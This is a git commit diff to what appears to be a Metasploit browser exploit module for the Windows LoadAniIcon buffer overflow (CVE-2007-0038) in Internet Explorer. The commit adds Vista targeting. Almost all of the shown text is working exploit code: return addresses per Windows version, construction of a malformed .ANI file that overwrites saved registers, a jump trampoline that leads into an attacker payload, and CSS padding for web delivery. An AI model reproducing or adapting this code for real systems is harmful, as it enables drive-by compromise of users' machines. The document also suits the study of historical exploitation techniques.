Merged in skape's Vista support, cleaned things up

git-svn-id: file:///home/svn/framework3/trunk@4593 4d416f70-5f16-0410-b530-b9f4589650da
unstable
HD Moore 2007-04-01 17:58:12 +00:00
parent 3858b33e9c
commit 0cc8db610b
1 changed files with 70 additions and 14 deletions

View File

@ -27,13 +27,12 @@ class Exploits::Windows::Browser::IE_ANI_CVE_2007_0038 < Msf::Exploit::Remote
'Description' => %q{
This module exploits a buffer overflow vulnerability in the
LoadAniIcon() function of USER32.dll. The flaw is triggered
through Internet Explorer (6 and 7) using the CURSOR style sheet
through Internet Explorer (6 and 7) by using the CURSOR style sheet
directive to load a malicious .ANI file. Internet Explorer will catch any
exceptions that occur while the invalid cursor is loaded, causing the
exploit to silently fail when the wrong target has been chosen. This
module will be updated in the near future to perform client-side
fingerprinting and brute forcing. The underlying vulnerability all versions
of Windows between NT 4.0 and Vista.
fingerprinting and brute forcing.
This vulnerability was discovered by Alexander Sotirov of Determina
and was rediscovered, in the wild, by McAfee.
@ -41,7 +40,8 @@ class Exploits::Windows::Browser::IE_ANI_CVE_2007_0038 < Msf::Exploit::Remote
'License' => MSF_LICENSE,
'Author' =>
[
'hdm',
'hdm', # First version
'skape', # Vista support
],
'Version' => '$Revision$',
'References' =>
@ -71,7 +71,9 @@ class Exploits::Windows::Browser::IE_ANI_CVE_2007_0038 < Msf::Exploit::Remote
'Platform' => 'win',
'Targets' =>
[
# All of these targets use call [ebx+4], just like the original exploit
#
# The following targets use call [ebx+4], just like the original exploit
#
# Partial overwrite for cross-language exploitation (latest user32 only)
[ 'Windows XP SP2 user32.dll 5.1.2600.2622', { 'Ret' => 0x25ba, 'Len' => 2 }],
@ -85,6 +87,22 @@ class Exploits::Windows::Browser::IE_ANI_CVE_2007_0038 < Msf::Exploit::Remote
# Should work for English 2000 SP0-SP4+
[ 'Windows 2000 SP0-SP4 netui2.dll English', { 'Ret' => 0x75116d88 }],
#
# Partial overwrite where 700b is a jmp dword [ebx] ebx points to the start
# of the RIFF itself.
#
# The RIFF magic bytes and the size of the riff file are
# executed which then bounce through.
#
# 1. Partial overwrite return with the address of a jmp dword [ebx]
# 2. Executes the first few bytes of the RIFF chunk and then
# does a jmp $+0x16
# 3. Executes a relative jump to the start of the payload
# itself.
[ 'Windows Vista user32.dll 6.0.6000.16386', { 'Ret' => 0x700b, 'Len' => 2 } ]
],
'DisclosureDate' => 'Mar 28 2007',
'DefaultTarget' => 0))
@ -143,7 +161,6 @@ class Exploits::Windows::Browser::IE_ANI_CVE_2007_0038 < Msf::Exploit::Remote
def generate_ani(payload)
# Build the first ANI header
anih_a = [
36, # DWORD cbSizeof
@ -154,16 +171,35 @@ class Exploits::Windows::Browser::IE_ANI_CVE_2007_0038 < Msf::Exploit::Remote
0, 0, 0, # JIF jifRate
1 # DWORD flags
].pack('V9')
anih_b = nil
# Build the second ANI header (ebp=76, eip=80)
anih_b = anih_a + rand_text(80-anih_a.length)
case target.name
when /Vista/
# Vista has ebp=80, eip=84
anih_b = anih_a + rand_text(84-anih_a.length)
# Overwrite locals with invalid pointers
anih_b[68, 12] = [0x80000000 | rand(0xffffffff)].pack('V') * 3
else
# XP/2K has ebp=76 and eip=80
anih_b = anih_a + rand_text(80-anih_a.length)
# Overwrite locals with invalid pointers
anih_b[64, 12] = [0x80000000 | rand(0xffffffff)].pack('V') * 3
end
# Overwrite the return with address of a "call ptr [ebx+4]"
anih_b << [target.ret].pack('V')[0, target['Len'] ? target['Len'] : 4]
# Begin the ANI chunk
riff = "ACON"
if target.name =~ /Vista/
trampoline_doffset = riff.length + 8
riff << generate_trampoline_riff_chunk
end
# Insert random RIFF chunks
0.upto(rand(128)+16) do |i|
@ -180,21 +216,41 @@ class Exploits::Windows::Browser::IE_ANI_CVE_2007_0038 < Msf::Exploit::Remote
# Trigger the return address overwrite
riff << "anih" + [anih_b.length].pack('V') + anih_b
# If this is a Vista target, then we need to align the length of the
# RIFF chunk so that the low order two bytes are equal to a jmp $+0x16
if target.name =~ /Vista/
plen = (riff.length & 0xffff0000) | 0x0eeb
plen += 0x10000 if (plen - 8) < riff.length
riff << generate_riff_chunk((plen - 8) - riff.length)
# Replace the operand to the relative jump to point into the actual
# payload itself which comes after the riff chunk
riff[trampoline_doffset + 1, 4] = [riff.length - trampoline_doffset - 4].pack('V')
end
# Place the RIFF chunk in front and off we go
ret = "RIFF" + [riff.length].pack('V') + riff + payload.encoded
end
def generate_riff_chunk
# Generates a riff chunk with the first bytes of the data being a relative
# jump. This is used to bounce to the actual payload
def generate_trampoline_riff_chunk
tag = Rex::Text.to_rand_case(rand_text_alpha(4))
dat = rand_text(rand(256)+1) * 2
dat = "\xe9\xff\xff\xff\xff" + rand_text(1) + (rand_text(rand(256)+1) * 2)
tag + [dat.length].pack('V') + dat
end
def generate_riff_chunk(len = (rand(256)+1) * 2)
tag = Rex::Text.to_rand_case(rand_text_alpha(4))
dat = rand_text(len)
tag + [dat.length].pack('V') + dat
end
def generate_css_padding
buf =
generate_whitespace() +
((rand(2) == 0) ? generate_whitespace()) +
"/*" +
generate_whitespace() +
generate_padding() +